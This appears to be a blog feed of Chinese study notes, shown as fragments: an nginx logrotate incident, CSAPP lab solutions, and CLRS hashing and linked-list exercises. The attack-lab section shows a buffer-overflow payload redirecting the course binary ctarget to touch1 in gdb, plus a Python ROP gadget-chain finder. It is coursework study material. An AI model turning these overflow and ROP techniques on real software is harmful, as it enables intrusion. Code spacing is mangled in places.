z0z0r4Hexohttps://blog.z0z0r4.top/images/favicon.icohttps://blog.z0z0r4.top/All rights reserved 2026, z0z0r4A Long Long Wayz0z0r4's Blog2026-05-20T18:06:47.441Zz0z0r4
记录 Nginx 日志因为 Logrotate 失效而爆盘
z0z0r4@z0z0r41:~$ cat /var/lib/dpkg/info/nginx.prerm #!/bin/sh set -e
case "$1" in remove|remove-in-favour|deconfigure|deconfigure-in-favour) if [ -x /etc/init.d/nginx ]; then invoke-rc.d nginx stop || exit $? fi ;;
upgrade|failed-upgrade) ;;
*) echo "prerm called with unknown argument \`$1'" >&2 exit 1 ;; esac
exit 0 z0z0r4@z0z0r41:~$ cat /var/lib/dpkg/info/nginx.postinst #!/bin/sh set -e
case "$1" in abort-upgrade|abort-remove|abort-deconfigure|configure) ;; triggered) if invoke-rc.d --quiet nginx status >/dev/null; then echo "Triggering nginx reload ..." invoke-rc.d nginx reload || true fi exit 0 ;; *) echo "postinst called with unknown argument \`$1'" >&2 exit 1 ;; esac
if invoke-rc.d --quiet nginx status >/dev/null; then invoke-rc.d nginx upgrade || invoke-rc.d nginx restart exit $? else if ! invoke-rc.d nginx start; then echo "Failed to start NGINX in postinst script, please check the logs" >&2 exit 0 fi fi
# Try to extract nginx pidfile PID=$(cat /etc/nginx/nginx.conf | grep -Ev '^\s*#' | awk 'BEGIN { RS="[;{}]" } { if ($1 == "pid") print $2 }' | head -n1) if [ -z "$PID" ]; then PID=/run/nginx.pid fi
if [ -n "$ULIMIT" ]; then # Set ulimit if it is set in /etc/default/nginx ulimit $ULIMIT fi
start_nginx() { # Start the daemon/service # # Returns: # 0 if daemon has been started # 1 if daemon was already running # 2 if daemon could not be started start-stop-daemon --start --quiet --pidfile $PID --exec $DAEMON --test > /dev/null \ || return 1 start-stop-daemon --start --quiet --pidfile $PID --exec $DAEMON -- \ $DAEMON_OPTS 2>/dev/null \ || return 2 }
test_config() { # Test the nginx configuration $DAEMON -t $DAEMON_OPTS >/dev/null 2>&1 }
stop_nginx() { # Stops the daemon/service # # Return # 0 if daemon has been stopped # 1 if daemon was already stopped # 2 if daemon could not be stopped # other if a failure occurred start-stop-daemon --stop --quiet --retry=$STOP_SCHEDULE --pidfile $PID --name $NAME RETVAL="$?" sleep 1 return "$RETVAL" }
reload_nginx() { # Function that sends a SIGHUP to the daemon/service start-stop-daemon --stop --signal HUP --quiet --pidfile $PID --name $NAME return 0 }
upgrade_nginx() { # Online upgrade nginx executable # http://nginx.org/en/docs/control.html # # Return # 0 if nginx has been successfully upgraded # 1 if nginx is not running # 2 if the pid files were not created on time # 3 if the old master could not be killed if start-stop-daemon --stop --signal USR2 --quiet --pidfile $PID --name $NAME; then # Wait for both old and new master to write their pid file while [ ! -s "${PID}.oldbin" ] || [ ! -s "${PID}" ]; do cnt=`expr $cnt + 1` if [ $cnt -gt 10 ]; then return 2 fi sleep 1 done # Everything is ready, gracefully stop the old master if start-stop-daemon --stop --signal QUIT --quiet --pidfile "${PID}.oldbin" --name $NAME; then return 0 else return 3 fi else return 1 fi }
case "$1" in start) log_daemon_msg "Starting $DESC" "$NAME" start_nginx case "$?" in 0|1) log_end_msg 0 ;; 2) log_end_msg 1 ;; esac ;; stop) log_daemon_msg "Stopping $DESC" "$NAME" stop_nginx case "$?" in 0|1) log_end_msg 0 ;; 2) log_end_msg 1 ;; esac ;; restart) log_daemon_msg "Restarting $DESC" "$NAME"
# Check configuration before stopping nginx if ! test_config; then log_end_msg 1 # Configuration error exit $? fi
stop_nginx case "$?" in 0|1) start_nginx case "$?" in 0) log_end_msg 0 ;; 1) log_end_msg 1 ;; # Old process is still running *) log_end_msg 1 ;; # Failed to start esac ;; *) # Failed to stop log_end_msg 1 ;; esac ;; reload|force-reload) log_daemon_msg "Reloading $DESC configuration" "$NAME"
# Check configuration before stopping nginx # # This is not entirely correct since the on-disk nginx binary # may differ from the in-memory one, but that's not common. # We prefer to check the configuration and return an error # to the administrator. if ! test_config; then log_end_msg 1 # Configuration error exit $? fi
z0z0r4@DESKTOP-862S1HV:~/CSAPP-LAB/malloclab$ ./mdriver -h Usage: mdriver [-hvVal] [-f <file>] [-t <dir>] Options -a Don't check the team structure. -f <file> Use <file> as the trace file. -g Generate summary info for autograder. -h Print this message. -l Run libc malloc as well. -t <dir> Directory to find default traces. -v Print per-trace performance breakdowns. -V Print additional debug info.
Students implement their own versions of malloc, free, and realloc. This lab gives students a clear understanding of data layout and organization, and requires them to evaluate different trade-offs between space and time efficiency. One of our favorite labs. When students finish this one, they really understand pointers!
/* * This constant gives the estimated performance of the libc malloc * package using our traces on some reference system, typically the * same kind of system the students use. Its purpose is to cap the * contribution of throughput to the performance index. Once the * students surpass the AVG_LIBC_THRUPUT, they get no further benefit * to their score. This deters students from building extremely fast, * but extremely stupid malloc packages. */ #define AVG_LIBC_THRUPUT 600E3 /* 600 Kops/sec */
/* * Accumulate the aggregate statistics for the student's mm package */ secs = 0; ops = 0; util = 0; numcorrect = 0; for (i=0; i < num_tracefiles; i++) { secs += mm_stats[i].secs; ops += mm_stats[i].ops; util += mm_stats[i].util; if (mm_stats[i].valid) numcorrect++; } avg_mm_util = util/num_tracefiles;
/* * Compute and print the performance index */ if (errors == 0) { avg_mm_throughput = ops/secs;
跳转流程部分不再赘述。但是仍然不如 Fast Bin 和 Small Bin 的 O(1) 插入删除，所以我猜测 Unsorted Bin 的存在是为了进一步减少释放的大块插入 Large Bin 的次数，让其在 Unsorted Bin 里先等待一下，看看能不能被后续的 malloc 直接利用掉，若不符合条件则延迟归类 Large Bin（当然其他的块也一样，归类回 F/S Bin），又能减少一部分非 O(1) 操作。
for (int vertex_id : graph.getAllVertex()) { if (graph.getVertex(vertex_id).color == 'W') { st.push(vertex_id); graph.setColor(vertex_id, 'G'); graph.setStartTime(vertex_id, ++global_time); neighbor_idx[vertex_id] = 0;
while (!st.empty()) { int u = st.top(); auto neighbors = graph.getNeighbors(u); bool pushed_new = false;
// 从上次访问的位置继续遍历未访问邻居 for (size_t i = neighbor_idx[u]; i < neighbors.size(); ++i) { int neighbor = neighbors[i]; if (graph.getVertex(neighbor).color == 'W') { neighbor_idx[u] = i + 1;
public: NaiveDisjointSet(int n) : data(n, -1) {} voidmake_set(int i){ data[i] = i; } intfind_set(int i) { while (i != data[i]) i = data[i]; return i; } voidconnect(int a, int b) { int rootA = find_set(a); int rootB = find_set(b); if (rootA != rootB) data[rootB] = rootA; } boolisconnected(int a, int b) { returnfind_set(a) == find_set(b); } };
Symbol table '.symtab' contains 6 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FILE LOCAL DEFAULT ABS sum.c 2: 0000000000000000 0 SECTION LOCAL DEFAULT 1 .text 3: 0000000000000000 55 FUNC GLOBAL DEFAULT 1 sum 4: 0000000000000004 4 OBJECT GLOBAL DEFAULT COM var2 5: 0000000000000000 4 OBJECT GLOBAL DEFAULT 2 var1 z0z0r4@DESKTOP-862S1HV:~/link$ nm /tmp/cc0Eregi.o 0000000000000000 T sum 0000000000000000 D var1 0000000000000004 C var2
其中 sum 在 .text 节中；已初始化的 var1 是强符号，在 .data 节中；未初始化的 var2 是弱符号，在 COMMON 节中。
intstr2int(char *str) { int result = 0; while (*str) { result = result * 10 + (*str - '0'); str++; } return result; }
voidparseArguments(int argc, char *argv[]) { for (int i = 1; i < argc; i += 2) { if (argv[i][1] == 't') { file_name = argv[i + 1]; } else { int val = str2int(argv[i + 1]); switch (argv[i][1]) { case's': s = val; break; case'E': E = val; break; case'b': b = val; break; } } } group_cnt = 1 << s; }
voidtouchCache(int group_index, longlong tag) { int empty_line_index = -1; for (int i = 0; i < E; i++) { if (cache[group_index].lines[i].valid && cache[group_index].lines[i].tag == tag) { // hit case cache[group_index].lines[i].last_time = clock(); hit_count++; return; } else { if (!cache[group_index].lines[i].valid) { // record empty line empty_line_index = i; } } }
miss_count++;
// if group has empty line if (empty_line_index != -1) { cache[group_index].lines[empty_line_index].valid = 1; cache[group_index].lines[empty_line_index].tag = tag; cache[group_index].lines[empty_line_index].last_time = clock(); return; }
// if we reach here, where no empty line, it means we have a miss and need to evict eviction_count++; int lru_index = 0; for (int i = 1; i < E; i++) { if (cache[group_index].lines[i].last_time < cache[group_index].lines[lru_index].last_time) { lru_index = i; } }
// evict the LRU line cache[group_index].lines[lru_index].tag = tag; cache[group_index].lines[lru_index].last_time = clock(); }
/* * trans - A simple baseline transpose function, not optimized for the cache. */ char trans_desc[] = "Simple row-wise scan transpose"; voidtrans(int M, int N, int A[N][M], int B[M][N]) { int i, j, tmp;
for (i = 0; i < N; i++) { for (j = 0; j < M; j++) { tmp = A[i][j]; B[j][i] = tmp; } }
For each matrix size, the performance of your transpose_submit function is evaluated by using valgrind to extract the address trace for your function, and then using the reference simulator to replay this trace on a cache with parameters (s = 5, E = 1, b = 5).
voidtranspose_block(int M, int N, int A[N][M], int B[M][N], int si, int sj, int block_length) { int i, j, tmp; for (i = si; i < si + block_length && i < N; i++) { for (j = sj; j < sj + block_length && j < M; j++) { tmp = A[i][j]; B[j][i] = tmp; } } }
voidtranspose_submit(int M, int N, int A[N][M], int B[M][N]) { int i, j; int block_length = 8; for (i = 0; i < N; i+=block_length) { for (j = 0; j < M; j+=block_length) { transpose_block(M, N, A, B, i, j, block_length); } } }
voidtranspose_block_8_for_64_64(int M, int N, int A[N][M], int B[M][N], int si, int sj) { int a0, a1, a2, a3, a4, a5, a6, a7; for (int i = si; i < si + 4; i++) { a0 = A[i][sj]; a1 = A[i][sj + 1]; a2 = A[i][sj + 2]; a3 = A[i][sj + 3];
voidtranspose_64_64(int M, int N, int A[N][M], int B[M][N]) { int block_length = 8; for (int i = 0; i < N; i += block_length) { for (int j = 0; j < M; j += block_length) { transpose_block_8_for_64_64(M, N, A, B, i, j); } } }
/* * Architecture Lab: Part A * * High level specs for the functions that the students will rewrite * in Y86-64 assembly language */
/* $begin examples */ /* linked list element */ typedefstructELE { long val; structELE *next; } *list_ptr;
/* sum_list - Sum the elements of a linked list */ longsum_list(list_ptr ls) { long val = 0; while (ls) { val += ls->val; ls = ls->next; } return val; }
/* rsum_list - Recursive version of sum_list */ longrsum_list(list_ptr ls) { if (!ls) return0; else { long val = ls->val; long rest = rsum_list(ls->next); return val + rest; } }
/* copy_block - Copy src to dest and return xor checksum of src */ longcopy_block(long *src, long *dest, long len) { long result = 0; while (len > 0) { long val = *src++; *dest++ = val; result ^= val; len--; } return result; } /* $end examples */
Test: andq %rdi, %rdi # if ls->next == NULL jne Loop
ret
.pos 0x200 stack:
注意：先 ./yas ans.ys 检查、编译，然后再 ./yis ans.yo 运行。
./yis ans-sum.yo 运行结果
1 2 3 4 5 6 7 8 9
❯ ./yis ans-sum.yo Stopped in 24 steps at PC = 0x1d. Status 'HLT', CC Z=1 S=0 O=0 Changes to registers: %rax: 0x0000000000000000 0x0000000000000cba %rsp: 0x0000000000000000 0x0000000000000200 %r10: 0x0000000000000000 0x0000000000000c00
Changes to memory: 0x01f8: 0x0000000000000000 0x000000000000001d
❯ ./yis ans-rsum.yo Stopped in 35 steps at PC = 0x1d. Status 'HLT', CC Z=0 S=0 O=0 Changes to registers: %rax: 0x0000000000000000 0x0000000000000cba %rsp: 0x0000000000000000 0x0000000000000200 %r8: 0x0000000000000000 0x000000000000000a
#/* $begin seq-all-hcl */ #################################################################### # HCL Description of Control for Single Cycle Y86-64 Processor SEQ # # Copyright (C) Randal E. Bryant, David R. O'Hallaron, 2010 # ####################################################################
## Your task is to implement the iaddq instruction ## The file contains a declaration of the icodes ## for iaddq (IIADDQ) ## Your job is to add the rest of the logic to make it work
#################################################################### # C Include's. Don't alter these # ####################################################################
#################################################################### # Declarations. Do not change/remove/delete any of these # ####################################################################
##### Symbolic represenations of Y86-64 function codes ##### wordsig FNONE 'F_NONE' # Default function code
##### Symbolic representation of Y86-64 Registers referenced explicitly ##### wordsig RRSP 'REG_RSP' # Stack Pointer wordsig RNONE 'REG_NONE' # Special value indicating "no register"
##### ALU Functions referenced explicitly ##### wordsig ALUADD'A_ADD'# ALU should add its arguments
##### Possible instruction status values ##### wordsig SAOK'STAT_AOK'# Normal execution wordsig SADR'STAT_ADR'# Invalid memory address wordsig SINS'STAT_INS'# Invalid instruction wordsig SHLT'STAT_HLT'# Halt instruction encountered
##### Signals that can be referenced by control logic ####################
##### Fetch stage inputs##### wordsig pc 'pc'# Program counter ##### Fetch stage computations##### wordsig imem_icode 'imem_icode'# icode field from instruction memory wordsig imem_ifun 'imem_ifun' # ifun field from instruction memory wordsig icode 'icode'# Instruction control code wordsig ifun 'ifun'# Instruction function wordsig rA 'ra'# rA field from instruction wordsig rB 'rb'# rB field from instruction wordsig valC 'valc'# Constant from instruction wordsig valP 'valp'# Address of following instruction boolsig imem_error 'imem_error'# Error signal from instruction memory boolsig instr_valid 'instr_valid'# Is fetched instruction valid?
##### Decode stage computations##### wordsig valA'vala'# Value from register A port wordsig valB'valb'# Value from register B port
##### Execute stage computations##### wordsig valE'vale'# Value computed by ALU boolsig Cnd'cond'# Branch test
##### Memory stage computations##### wordsig valM'valm'# Value read from memory boolsig dmem_error 'dmem_error'# Error signal from data memory
#################################################################### # Control Signal Definitions. # ####################################################################
## What register should be used as the A source? word srcA = [ icode in { IRRMOVQ, IRMMOVQ, IOPQ, IPUSHQ } : rA; icode in { IPOPQ, IRET } : RRSP; 1 : RNONE; # Don't need register ];
## What register should be used as the B source? word srcB = [ icode in { IOPQ, IRMMOVQ, IMRMOVQ, IIADDQ } : rB; icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP; 1 : RNONE; # Don't need register ];
## What register should be used as the E destination? word dstE = [ icode in { IRRMOVQ } && Cnd : rB; icode in { IIRMOVQ, IOPQ, IIADDQ } : rB; icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP; 1 : RNONE; # Don't write any register ];
## What register should be used as the M destination? word dstM = [ icode in { IMRMOVQ, IPOPQ } : rA; 1 : RNONE; # Don't write any register ];
## Select input A to ALU word aluA = [ icode in { IRRMOVQ, IOPQ } : valA; icode in { IIRMOVQ, IRMMOVQ, IMRMOVQ, IIADDQ } : valC; icode in { ICALL, IPUSHQ } : -8; icode in { IRET, IPOPQ } : 8; # Other instructions don't need ALU ];
## Select input B to ALU word aluB = [ icode in { IRMMOVQ, IMRMOVQ, IOPQ, ICALL, IPUSHQ, IRET, IPOPQ, IIADDQ } : valB; icode in { IRRMOVQ, IIRMOVQ } : 0; # Other instructions don't need ALU ];
## Set the ALU function word alufun = [ icode == IOPQ : ifun; 1 : ALUADD; ];
## Should the condition codes be updated? bool set_cc = icode in { IOPQ, IIADDQ };
## Set read control signal bool mem_read = icode in { IMRMOVQ, IPOPQ, IRET };
## Set write control signal bool mem_write = icode in { IRMMOVQ, IPUSHQ, ICALL };
## Select memory address word mem_addr = [ icode in { IRMMOVQ, IPUSHQ, ICALL, IMRMOVQ } : valE; icode in { IPOPQ, IRET } : valA; # Other instructions don't need address ];
## Select memory input data word mem_data = [ # Value from register icode in { IRMMOVQ, IPUSHQ } : valA; # Return PC icode == ICALL : valP; # Default: Don't write anything ];
## Determine instruction status word Stat = [ imem_error || dmem_error : SADR; !instr_valid: SINS; icode == IHALT : SHLT; 1 : SAOK; ];
################ Program Counter Update ############################
## What address should instruction be fetched at
word new_pc = [ # Call. Use instruction constant icode == ICALL : valC; # Taken branch. Use instruction constant icode == IJXX && Cnd : valC; # Completion of RET instruction. Use value from stack icode == IRET : valM; # Default: Use incremented PC 1 : valP; ]; #/* $end seq-all-hcl */
❯ make SIM=../seq/ssim TFLAGS=-h ./optest.pl -s ../seq/ssim -h Usage [-h] [-i] [-s <sim>] [-P] [-p <pfile>] -h print Help message -i test iaddq instruction -s <sim> Specify simulator -d <dir> Specify directory for counterexamples -P Generate performance data -p <version> Check using performance file <pfile> -V test Verilog implementation -m <model> Model for Verilog
❯ make SIM=../seq/ssim TFLAGS=-i ./optest.pl -s ../seq/ssim -i Simulating with ../seq/ssim All 58 ISA Checks Succeed ./jtest.pl -s ../seq/ssim -i Simulating with ../seq/ssim All 96 ISA Checks Succeed ./ctest.pl -s ../seq/ssim -i Simulating with ../seq/ssim All 22 ISA Checks Succeed ./htest.pl -s ../seq/ssim -i Simulating with ../seq/ssim All 756 ISA Checks Succeed
❯ gdb --args ./ctarget -q GNU gdb (Debian 16.3-1) 16.3 Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. --Type <RET> for more, q to quit, c to continue without paging--
For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./ctarget... (gdb) b getbuf Breakpoint 1 at 0x4017a8: file buf.c, line 12. (gdb) b *0x4017bd Breakpoint 2 at 0x4017bd: file buf.c, line 16. (gdb) run -q < exploit-raw.txt Starting program: /home/z0z0r4/CSAPP-LAB/attack_lab/ctarget -q < exploit-raw.txt [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12 warning: 12 buf.c: No such file or directory (gdb) x/4gx $rsp 0x5561dca0: 0x0000000000401976 0x0000000000000009 0x5561dcb0: 0x0000000000401f24 0x0000000000000000 (gdb) c Continuing.
Breakpoint 2, 0x00000000004017bd in getbuf () at buf.c:16 16 in buf.c (gdb) x/4gx $rsp 0x5561dca0: 0x00000000004017c0 0x0000000000000009 0x5561dcb0: 0x0000000000401f24 0x0000000000000000 (gdb) c Continuing. Type string:Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 [Inferior 1 (process 31357) exited normally]
可以看到 0x5561dca0 之前是 0x0000000000401976，现在变成了 0x00000000004017c0，成功让 ret 跳转到了 touch1。
phase2
既然要调用 touch2 函数，需要知道 touch2 的地址，以及 getbuf 函数中缓冲区的地址（给 ret 指令用）。
❯ gdb --args ./ctarget -q GNU gdb (Debian 16.3-1) 16.3 Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. --Type <RET> for more, q to quit, c to continue without paging--c
For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./ctarget... (gdb) b *0x4017ac Breakpoint 1 at 0x4017ac: file buf.c, line 14. (gdb) r Starting program: /home/z0z0r4/CSAPP-LAB/attack_lab/ctarget -q [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:14 warning: 14 buf.c: No such file or directory (gdb) info reg rsp rsp 0x5561dc78 0x5561dc78
/* Compare string to hex represention of unsigned value */ inthexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); returnstrncmp(sval, s, 9) == 0; }
voidtouch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
def_parse(self, text): """解析汇编文本，建立字节映射和函数块映射""" blocks = re.split(r"\n(?=[0-9a-f]+ <.*>:)", text.strip()) for block in blocks: lines = block.strip().split("\n") ifnot lines: continue for line in lines: match = re.match(r"\s*([0-9a-f]+):\s+(([0-9a-f]{2}\s)+)", line) ifmatch: base_addr = int(match.group(1), 16) hex_bytes = match.group(2).strip().split() for i, b inenumerate(hex_bytes): addr = base_addr + i self.bytes_map.append((addr, b)) self.addr_to_block[addr] = block
def_is_safe(self, seq): """检查指令与 ret 之间的填充字节是否安全""" i = 0 while i < len(seq): if seq[i] == "90": i += 1 elif i + 1 < len(seq) and (seq[i] + seq[i + 1]) in SAFE_BYTES: i += 2 else: returnFalse returnTrue
deffind_all_gadgets(self): """扫描所有潜在的 popq 和 movl gadgets""" found = {} # 遍历字节流寻找 ret (c3) for i, (addr, b) inenumerate(self.bytes_map): if b != "c3": continue
# 从 c3 往回看最多 10 个字节 for j inrange(1, 10): if i - j < 0: break start_idx = i - j start_addr, op = self.bytes_map[start_idx] seq = [x[1] for x inself.bytes_map[start_idx : i + 1]]
res = None # 识别 popq (58-5f) val = int(op, 16) if0x58 <= val <= 0x5Fandself._is_safe(seq[1:-1]): res = ("popq", None, REG_64[val - 0x58])
if res: g = Gadget( hex(start_addr), res[0], res[1], res[2], " ".join(seq), self.addr_to_block[start_addr], ) key = (g.addr, g.type) # 保留最短的 gadget if key notin found orlen(seq) < len(found[key].raw.split()): found[key] = g returnlist(found.values())
@staticmethod defsearch_paths(gadgets, target="%esi"): """BFS 寻找从任意 popq 到目标寄存器的路径""" results = [] pops = [g for g in gadgets if g.type == "popq"] movs = [g for g in gadgets if g.type == "movl"]
queue = deque([(p.dst.replace("%r", "%e"), [p]) for p in pops])
for _ inrange(6): # 限制跳数 for _ inrange(len(queue)): curr_reg, path = queue.popleft() if curr_reg == target: results.append(path) continue for m in movs: if m.src == curr_reg and m notin path: queue.append((m.dst, path + [m])) return results
if __name__ == "__main__": withopen("farm.s") as f: farm_dump = f.read()
finder = ROPFinder(farm_dump) all_gadgets = finder.find_all_gadgets() paths = finder.search_paths(all_gadgets, "%esi")
print(f"找到 {len(paths)} 条路径。") for i, path inenumerate(paths): print(f"\n路径 {i+1}: " + " -> ".join(f"{g.addr}"for g in path)) for step in path: action = f"{step.type}{step.src if step.src else''} -> {step.dst}" print(f" [{step.addr}] {step.raw:<12} | {action}")
11.1-1 Suppose that a dynamic set S isrepresented byadirect-address table T of length m. Describe a procedure that finds the maximum element of S. What is the worst-case performance of your procedure?
假设动态集合 S 用一个长度为 m 的直接寻址表 T 表示。请描述一个查找 S 中最大元素的算法过程。该算法在最坏情况下的性能是多少？
要找到动态集合 S 中的最大元素，可以直接从后向前遍历表 T，第一个非空元素就是最大的元素，索引就是顺序
11.1-2 A bit vector is simply an array of bits (0s and 1s). A bit vector of length m takes much less space than an array of m pointers. Describe how to use a bit vector to represent a dynamic set of distinct elements with no satellite data. Dictionary operations should run in O(1) time.
位向量 (Bit vector) 简单来说就是一个由位（0 和 1）组成的数组。长度为 m 的位向量所占用的空间远小于包含 m 个指针的数组。请描述如何使用位向量来表示一个不含卫星数据且元素互不相同的动态集合。其字典操作的运行时间应为 O(1)。
11.1-3 Suggest how to implement a direct-address table in which the keys of stored elements do not need to be distinct and the elements can have satellite data. All three dictionary operations (INSERT, DELETE, and SEARCH) should run in O(1) time. (Don’t forget that DELETE takes as an argument a pointer to an object to be deleted, not a key.)
11.1-4 ? We wish to implement a dictionary by using direct addressing on a huge array. At the start, the array entries may contain garbage, and initializing the entire array is impractical because of its size. Describe a scheme for implementing a direct address dictionary on a huge array. Each stored object should use O(1) space; the operations SEARCH, INSERT, and DELETE should take O(1) time each; and initializing the data structure should take O(1) time. (Hint: Use an additional array, treated somewhat like a stack whose size is the number of keys actually stored in the dictionary, to help determine whether a given entry in the huge array is valid or not.)
11.2-1 Suppose we use a hash function h to hash n distinct keys into an array T of length m. Assuming simple uniform hashing, what is the expected number of collisions? More precisely, what is the expected cardinality of {{k,l}:k=l,h(k)=h(l)}?
假设我们使用哈希函数 h 将 n 个互不相同的键 (Keys) 哈希到一个长度为 m 的数组 T 中。在简单均匀哈希的假设下，碰撞次数的期望值是多少？更准确地说，集合 {{k,l}:k=l,h(k)=h(l)} 的基数的期望值是多少？
11.2-2 Demonstrate what happens when we insert the keys 5,28,19,15,20,33,12,17,10 into a hash table with collisions resolved by chaining. Let the table have 9 slots, and let the hash function be h(k)=kmod9.
11.2-3 Professor Marley hypothesizes that he can obtain substantial performance gains by modifying the chaining scheme to keep each list in sorted order. How does the pro fessor’s modification affect the running time for successful searches, unsuccessful searches, insertions, and deletions?
11.2-4 Suggest how to allocate and deallocate storage for elements within the hash table itself by linking all unused slots into a free list. Assume that one slot can store a flag and either one element plus a pointer or two pointers. All dictionary and free-list operations should run in O(1) expected time. Does the free list need to be doubly linked, or does a singly linked free list suffice?
但注意 allocate and deallocate storage for elements within the hash table itself 和 O(1) expected time
意思是 n≤m，那么 α=mn≤1，确实 O(1+α)=O(1)。
这么细…？
11.2-5 Suppose that we are storing a set of n keys into a hash table of size m. Show that if the keys are drawn from a universe U with ∣U∣>nm,then U hasasubset of size n consisting of keys that all hash to the same slot, so that the worst-case searching time for hashing with chaining is Θ(n).
假设我们将一组 n 个键存储在一个大小为 m 的哈希表中。请证明：如果这些键是从一个全集 U 中提取的，且 ∣U∣>nm，那么 U 中必然存在一个大小为 n 的子集，其包含的键全部哈希到同一个槽位中，从而使得链地址法哈希的最坏情况查找时间为 Θ(n)。
设 Uj={x∈U∣h(x)=j}，那么 ∑j=1mUj=∣U∣>nm
那么 E(∣Uj∣)=m∑j=1mUj>n，显然存在 ∣Uj∣>n
所以确实存在大小为 n 的子集，全部映射到同一个槽。
11.2-6 Suppose wehave stored n keys in ahash table of size m, with collisions resolved by chaining, and that we know the length of each chain, including the length L of the longest chain. Describe a procedure that selects a key uniformly at random from among the keys in the hash table and returns it in expected time O(L⋅(1+α1)).
假设我们已将 n 个键存储在一个大小为 m 的哈希表中，通过链地址法解决冲突，并且已知每个链表的长度，包括最长链表的长度 L。请描述一个算法过程，该过程从哈希表的键中等概率随机选择一个键并返回，其期望运行时间为 O(L⋅(1+α1))（其中 α=mn）。
查到是类似蒙特卡洛拒绝采样，IGNORED
Hash functions
A good hash function satisfies (approximately) the assumption of simple uniform hashing: each key is equally likely to hash to any of the m slots, independently of where any other key has hashed to.
10.3-5 Let L be a doubly linked list of length n stored in arrays key, prev, and next of length m. Suppose that these arrays are managed by ALLOCATE-OBJECT and FREE-OBJECT procedures that keep a doubly linked free list F. Suppose further that of the m items, exactly n are on list L and m−n are on the free list. Write a procedure COMPACTIFY-LIST(L,F) that, given the list L and the free list F, moves the items in L so that they occupy array positions 1,2,…,n and adjusts the free list F so that it remains correct, occupying array positions n+1,n+2,…,m. The running time of your procedure should be Θ(n), and it should use only a constant amount of extra space. Argue that your procedure is correct.
设 L 为一个长度为 n 的双向链表，存储在长度为 m 的数组 key、prev 和 next 中。假设这些数组由过程 ALLOCATE-OBJECT 和 FREE-OBJECT 进行管理，它们维持着一个双向的空闲链表 F。进一步假设在 m 个元素中，恰好有 n 个在链表 L 上，而 m−n 个在空闲链表上。请编写一个过程 COMPACTIFY-LIST(L,F)，在给定链表 L 和空闲链表 F 的情况下，通过移动 L 中的元素，使它们占据数组的前 1,2,…,n 个位置，并调整空闲链表 F 以确保其依然正确，且占据数组的 n+1,n+2,…,m 个位置。你的过程运行时间应为 Θ(n)，且只能使用常数级 (constant amount) 的额外空间。请证明你的过程是正确的。
由于这是个数组，可以直接任意访问节点，且目标是将 L 的元素划分到 [1,n]，自由表划分到 [n+1,m]，所以要处理的是 [n+1,m] 中的 L 的元素以及 [1,n] 中的自由表元素。
那么就和快速排序中的分区一样，两两交换直到 [1,n] 中没有自由表元素，[n+1,m] 中没有 L 的元素。
此处的“交换”，必须要考虑修改被交换元素的指针，以及指针指向的节点的指针，保证链表结构不被破坏。
Representing Rooted Trees
有根树显然可以用链表来表示，其中分为分支有限树和分支无限树。
k-ary Tree
假设每个节点有 k 个子节点，比如 k=2 是二叉树
1 2 3 4 5
structNode{ int value; Node *left_child; Node *right_child; };
intCOMPACT_LIST_SEARCH(int L, int n, int k){ int i = L; while (i != NIL && key[i] < k) { int j = RANDOM(1, n); if (key[i] < key[j] && key[j] <= k) { i = j; if (key[i] == k) { return i; } } i = next[i]; } if (i == NIL || key[i] > k) { return NIL; } else { return i; } }
intCOMPACT_LIST_SEARCH_PRIME(int L, int n, int k, int t){ int i = L; for (int q = 1; q <= t; q++) { int j = RANDOM(1, n); if (key[i] < key[j] && key[j] <= k) { i = j; if (key[i] == k) { return i; } } } while (i != NIL && key[i] < k) { i = next[i]; } if (i == NIL || key[i] > k) { return NIL; } else { return i; } }
区别在于 COMPACT-LIST-SEARCH 中随机跳跃和线性搜索交替进行，而 COMPACT-LIST-SEARCH' 中先进行 t 次随机跳跃，再进行线性搜索。
假设随机变量 Xt 为经过 t 次随机跳跃后，COMPACT-LIST-SEARCH 中 i 到目标 k 的距离。
题目给出的论证过程分为：
假设 COMPACT-LIST-SEARCH(L, n, k) 的 while 循环执行了 t 次，论证 COMPACT-LIST-SEARCH'(L, n, k, t) 会返回一样的结果，且 COMPACT-LIST-SEARCH'(L, n, k, t) 的 while 和 for 循环的迭代次数之和至少为 t。
由于两者的 RANDOM 返回序列相同，设 im 为 CLS 在第 m 次循环开始时的指针，im′ 为 CLS' 在第 m 次循环开始时的指针。
考虑循环不变式 key[im′]≤key[im] 始终成立。
